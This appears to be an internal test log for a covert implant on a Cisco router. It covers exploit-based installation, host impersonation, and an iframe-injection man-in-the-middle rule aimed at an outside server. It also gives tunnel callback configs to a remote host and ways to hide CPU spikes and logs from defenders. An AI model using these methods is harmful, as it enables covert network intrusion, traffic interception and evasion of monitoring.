Cytolysis-1h HG v3.1.6 Delivery

HG v3.1.6 was delivered for Cytolysis on 1/12/16 for SUP720.  Testing scope will include ACE, SMITE and Tunnel.

CONOP will be:

• Hop through 3 flux nodes - 1 internet, 1 osmo subnet, 1 admin mgmt subnet - and IACInternational Access Code attack VLANVirtual Local Area Network 1 IP of target - XXX.XXX.X.XXX (TOPWAY-NET[CN])
• Trigger port will be UDPUser Datagram Protocol 161, host to impersonate will be explicitly set to a host not on VLANVirtual Local Area Network 10 or VLANVirtual Local Area Network 2
• Establish CTCounter Terrorism session over HTTPSHypertext Transfer Protocol Secure back through flux node 4
• Use ACEApplication Control Engine (Module) commands to verify state of the device
• Use socket get_arp_survey_data and output of "show ip nat trans" to survey traffic from VLANVirtual Local Area Network 19
• SMITE hosts on target customer network - VLANVirtual Local Area Network 19
• Use Tunnel to appear as if Operator is on VLANVirtual Local Area Network other than VLANVirtual Local Area Network 19 or VLANVirtual Local Area Network 2, and from there, nmap VLANVirtual Local Area Network 19.

Testing Summary

• Note in test report that module 2 is in state PwrDown and should be verified before proceeding
• Trigger packets that go through the target due to HG trigger sequence mis match will be caught and logged by outbound customer ACLs potentially - we will trigger to IP of device on port UDPUser Datagram Protocol 161.  If trigger packets have incorrect sequence number, an encoding error will increment as shown in output of "show snmp".
• Comms packets are SSLv3 - need to consider if this is noticeable on this network
• Hardware difference between test device and target - daughter card on 4 port 10G line card.  This hardware difference has been accepted.
• 5 sec CPU spikes to 45-65% during IACInternational Access Code attack, spike to 27% during HG install
• HG Consumes ~3.5M of Memory, visible in output out show mem
• Operator must manually start Tunnel module to use the tunnel capability
• Assists cause observeable in ouput of show ip cef <IP> - this is a known issue.
• Observed the following print even without HG installed when using Windex to exploit a target client:

3. Modularity

   -Reloaded DUTDevice Under Test to start with a clean device
   -Flux nodes up, Seeds running on VLANVirtual Local Area Network 19
   -IAC attacked and uploaded HG
   -Established CTCounter Terrorism connection with XXX.XXX.X.XX (TOPWAY-NET[CN]) as impersonated host, no punch-throughs of traffic to impersonated host
   -Confirmed that impersonated host is still able to browse, did not observe any syslogs or traps sent by DUT
   -Stop/Start/Restarted ACEApplication Control Engine (Module) module - verified functionality after each start
   -Testing FB modularity and functionality with smite. Started up Victim3 VMVirtual Machine and web browsed with no rules active and saw the following print:

4. Testing SMITE
   
   1. Starting over with Debian 8.2.  Installed ICON on TR, setup flux, cleaned DUT
   2. Restarted Victim 3 - web browsed 15 times to all three web servers and observed no prints
   3. Web browsed directly to iframe url 15 times and observed no prints
   4. Attacked with IACInternational Access Code and uploaded HG from new ICON 8.2 VMVirtual Machine - impersonating XXX.XXX.X.XX (TOPWAY-NET[CN])
   5. Restarted victim 3.  web browsed 15 times to all three web servers - no prints observed
   6. Web browsed directly to iframe url 15 times in a row - after the 10th try, observed the following:

5. Characterization of print observed while browsing to windex server
   1. Collecting VLANVirtual Local Area Network 19 packet capture during print message
   2. set logging interval and threshold on DUTDevice Under Test so that logs will be seen immediately
   3. Set up span port for vlan 2 and vlan 19 on DUTDevice Under Test and collecting on the DC from g1/1
   4. Stopped the seeds traffic from cust2 to minimize output in wireshark
   5. Ran manual browses from target client to iframe url - took about ten tries, but I got the print and saved off the information that xetron had requested.
   6. Wiping HG, reload DUT, reload target.  Going to confirm once more that I really never get this print without HG by trying more times.
   7. Performed 30 browses to iframe url and no print.  Also browsed at least 30 times to other three web servers, no print
   8. Added HG, still no seeds, no CTCounter Terrorism session.  Repeating step g.  Observed print on the 24th iteration:

      Jan 22 00:22:01.499 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1262) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet

   9. Going to see if this occurs more during SMITE rule

   10. Established CTCounter Terrorism session and created smite rule:
       

       mitm create http_iframe 10.11.0.13 255.255.255.255 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.255 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -bk -bc -en

   11. Observed prints with SMITE rule active as well at about the same rate

   12. Uninstalled and rebooted DUT
   13. Installed original version of delivery 3.1.5.
   14. Also working in installing newest version of windex in TR
   15. Was able to browse to iframe url 30 times from client wiht v3.1.5 and saw no prints.  however overnight, i had left the browser window open and windex session connected and at 4am, the router did log some messages:

   16. Jan 22 04:42:37.120 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1122) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
       Jan 22 04:42:37.120 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1122) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
       Jan 22 04:42:50.120 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied udp 10.9.8.22(137) (Vlan2 0021.d80d.cfc1) -> XXX.XXX.X.XX (TOPWAY-NET[CN])(137), 1 packet
       Jan 22 04:42:51.636 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied udp 10.9.8.22(137) (Vlan2 0021.d80d.cfc1) -> XXX.XXX.X.XX (TOPWAY-NET[CN])(137), 1 packet

   17. After attempting another 30 times without HG, I did reproduce the error message without HG.  This may just be a Windex/IOS NATNetwork Address Translation issue.  Hopefully this issue will be resolved in the newer version of Windex.
6. Testing Modularity
   1. Reloaded DUT
   2. CPU spike to 66% during IACInternational Access Code attack, 27% duing IACInternational Access Code install, 11% duing CTCounter Terrorism session establishment
   3. Already tested FB and ACEApplication Control Engine (Module) in previous test 3
   4. Testing Tunnel - Note that Tunnel module is not started by default.  Operator will have to start Tunnel module with "module start CovertTunnel.mod" command
   5. Started tunnel mod.  Then stopped it with module stop Tunnel.  Repeated three more times.
   6. Was unable to restart it at first, but after enough time passed and i entered ilm refresh, it did restart successfully.  no syslogs or traps observed, no impact to CPU.
7. HTTPS Comms testing
   1. Testing the functionality of impersonating different hosts
      1. impersonated XXX.XXX.X.XX (TOPWAY-NET[CN]) - successful connection.  RAA laid down.  Confirmed that host is still able to browse.  No syslogs or traps.
      2. Exited that session and impersonated another host - XXX.XXX.X.XX (TOPWAY-NET[CN]) - this IP is on the VLANVirtual Local Area Network interface - vlan 3 for customer 1.  Successfully connected, rx adj in place for .81, however it is always in place.  Can ping from router to 1.1.1.1 with source address of XXX.XXX.X.XX (TOPWAY-NET[CN]).  Packet assist threshold not increasing with small amount of traffic.
      3. Collected wireshark of HTTPSHypertext Transfer Protocol Secure comms establishment
      4. Tested impersonation of a host on a different vlan - tried vlan 2 10.11.0.10 although this is not recommeded - cx successful and was still able to browse from 10.11.0.10.  Observed these prints though
         

         Jan 29 00:48:33.410 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp 100.100.40.3(80) (Vlan2 0021.d80d.cfc1) -> 10.11.0.10(36901), 1 packet
         Jan 29 00:48:34.410 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp 100.100.40.3(80) (Vlan2 0021.d80d.cfc1) -> 10.11.0.10(36901), 1 packet

      5. Tested XXX.XXX.X.XX (TOPWAY-NET[CN]) - a non existent host - cx successful as long as the IP was routed back to the device through the network properly

      6. No prints or traps observed duirng cx
      7. Tested connecting impersonating host on vlan 48 - success - still able to browse from impersonated host, no logs or traps.  Assist was laid down and then dropped when CTCounter Terrorism was disconnected.
      8. Testing sending wrong trigger sequence - current seq is 21
         1. Set to 18 and impersonated XXX.XXX.X.XX (TOPWAY-NET[CN]) while running wireshark on impersonated host
         2. Impersonated host saw no traffic, no logs, traps were sent by DUT. As expected, encoding errors incremented on output of show snmp.

         3. Enabled snmp packet debugging and tested with wrong seq number again - router reports:
            Jan 29 02:18:55.885 C6506: SNMP: Packet received via UDPUser Datagram Protocol from XXX.XXX.X.XX (TOPWAY-NET[CN]) on Vlan1

         4. Router does not see the snmp packet in debug output if sequence number is correct.
8. Testing socket get arp survey
   1. Ran command to view arp survey data

   4. Not as many as I'd thought, however this delivery doesn't snoop.  Cleared and then viewed data while IXIA was running three times.

9. Test of ACE
   1. Created over 25k NATNetwork Address Translation translations, IXIA traffic running in background.  DUT clean.  
   2. Stats before implantation:

   3. IAC attack - cpu spike to 45%.  Uploaded HG - CPU spike to 22%.
   4. Established CTCounter Terrorism session, impersonated host XXX.XXX.XX.XXX (TOPWAY-NET[CN]).
   5. Executed all of the commands listed as planned for use on CONOPConcealed Operation confluence page.
   6. No traps observed. show ip nat trans with 25k translations showed a spike in 5 second CPU.  This could be masked by briefly enabling cpu scaling.
   7. Tested enabled cpu scaling for bounds of 10 and 20.  Spike was successfully suppressed in show proc cpu hist.
   8. Performing show commands with ? mark returns the options for completing the command as well as the output from hitting return after the command
   9. Ran a show tech through ace and it worked just fine - 5 sec CPU spiked to 66%.
10. Tunnel Test
    1. Hard reset device - then loaded HG on.
    2. Established CTCounter Terrorism session impersonating XXX.XXX.X.XX (TOPWAY-NET[CN]) and then set up a Tunnel with TAPVirtual Network kernel device IP XXX.XXX.XX.XXX (TOPWAY-NET[CN]).
    3. Started CovertTunnel.mod
    4. Modified callback and endpoint files.  Endpoint file set to listen on fw0, left seq at 0, use port 443 for HTTPSHypertext Transfer Protocol Secure comms.  Callback file set to use TAPVirtual Network kernel device IP:
       

       TapIPAddr = XXX.XXX.XX.XXX (TOPWAY-NET[CN])
       TapSubnet = 255.255.255.248
       TapMACAddr = 00:01:44:27:78:3a
       Timeout = 0
       AllowARP = 1
       Protocol = CommsH
       VLAN = 48

    5. and callback to:

       [OpenSession_HTTPS]
       Remote = XXX.XXX.X.X (QWEST-INET-6[US])
       Port = 443
       Critical = 0

    6. and impersonate:
       

       [IParams]
       IPAddress = XXX.XXX.X.XX (TOPWAY-NET[CN])
       SubnetMask = 255.255.255.240
       MACAddress = 00:1d:71:1f:88:7e
       TTL = 64
       VLAN = 3
